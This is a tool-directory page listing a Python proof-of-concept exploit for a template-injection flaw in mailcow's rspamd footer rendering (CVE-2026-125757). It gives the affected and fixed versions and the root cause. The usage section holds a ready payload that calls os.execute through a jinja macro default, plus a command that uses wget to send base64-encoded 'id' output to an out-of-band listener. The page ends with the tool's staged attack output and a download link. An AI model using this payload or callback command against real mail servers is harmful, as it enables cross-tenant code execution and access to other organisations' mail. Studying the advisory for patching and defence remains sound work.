Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-125757 — Python PoC for CVE-2026-125757: exploits mailcow domain-wide footer SSTI in rspamd's jinja/lupa engine to achieve blind cross-tenant RCE via authenticated SMTP. | Kitploit
Tools/GitHubGitHub/faceless0x7/cve-2026-125757
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload DevelopmentEmail Security
GitHubfaceless0x7/cve-2026-125757

CVE-2026-125757

Python PoC for CVE-2026-125757: exploits mailcow domain-wide footer SSTI in rspamd's jinja/lupa engine to achieve blind cross-tenant RCE via authenticated SMTP.

View Repository
8 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-125757 mailcow footer SSTI → RCE in the shared rspamd container

A domain administrator can store a domain-wide footer whose HTML is kept verbatim and later rendered by rspamd's jinja/lupa engine on the next authenticated outbound message of the domain. A jinja macro default value in the footer is compiled by lupa with load('return '..default) without the sandbox environment, so it runs in rspamd's real LuaJIT globals where os.execute is reachable — arbitrary command execution, not string expansion. rspamd is a single container shared by every tenant, so one single-domain admin reaches all tenants' mail in transit and the filtering platform as a whole.

Affectedmailcow/mailcow-dockerized < 2026-11 (master @ 55982ac74bfd35581cc44b122ab5fc659e3ae90a; rspamd 4.2.1-1)
Fixed>= 2026-11 (footer rendered with variable-only substitution, no template control syntax)
Prerequisitesdomain-admin of ≥1 domain, acting in their own authenticated session; one authenticated outbound message to trigger. No global admin, host access, or network position
ImpactRCE in the shared rspamd container → read/modify/inject every tenant's mail, disable spam/AV filtering platform-wide, reach rspamd's redis; cross-container DoS via MC_CHANNEL.
SeverityCVSS 3.1 = 9.1 (Critical) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-1336

Root cause

The footer is stored verbatim behind a single tenant-scope gate and fed, unmodified, into a template engine:

// src/data/web/inc/functions.mailbox.inc.php — case 'domain_wide_footer'
$footer_html  = $attr['html'];            // :4187  stored verbatim, no template sanitisation
... hasDomainAccess($_SESSION['...'], $domain) ...   // :4251  only gate (tenant scope)
INSERT INTO domain_footer (html, plain, ...) ...     // :4263
// reached unauthenticated-to-the-sink via: POST /api/v1/edit/domain/footer
-- src/data/conf/rspamd/rspamd.local.lua — MOO_FOOTER prefilter renders the stored footer
lua_util.jinja_template(footer.html, ...)   -- :847   (and footer.plain :850)  [feed: dynmaps/footer.php]

-- contrib/lua-lupa/lupa.lua — a macro default value is compiled OUTSIDE the sandbox env
load('return ' .. default)                  -- :487   -> runs in real _G; os.execute reachable
--                                             :554   {% filter %} params share the same path

A footer of the form {% macro p(a=os.execute("<cmd>")) %}{% endmacro %}footer therefore executes <cmd> inside the rspamd container when MOO_FOOTER renders it. The footer is rendered for both the HTML and the plain part, so the command runs on each authenticated outbound message of the domain.

Usage

CVE-2026-125757.py (standard library only, Python 3.8+) walks the full chain and prints each stage — login → create a throwaway mailbox → plant the footer payload → trigger via SMTP → verify → clean up. The command runs blind (no stdout is returned over SMTP), so point --cmd at an out-of-band listener you control.

# on your host, start a listener first:  python3 -m http.server 8000

# blind RCE, confirmed by the callback (base64 so `id` output survives the URL path):
python3 CVE-2026-125757.py --url https://mail.example --username da_a --password 'PW' \
    --domain tenanta.test --cmd 'wget -qO- http://10.0.0.1:8000/$( id | base64 -w0 )'

Expected output:

[1/5] login as domain admin 'da_a' ............. ok
[2/5] create throwaway mailbox ................. ok  ([email protected])
[3/5] plant SSTI footer payload ................ ok
[4/5] trigger: send authenticated mail (SMTP 587) ... ok  (4.2s)
[5/5] verify execution ......................... ok

[+] PAYLOAD DELIVERED: footer rendered, os.execute('wget ...') ran in rspamd
    Blind RCE (no stdout over SMTP) - confirm on your out-of-band listener

[*] cleanup: reset footer ...................... ok
[*] cleanup: delete mailbox .................... ok  ([email protected])
Download Tool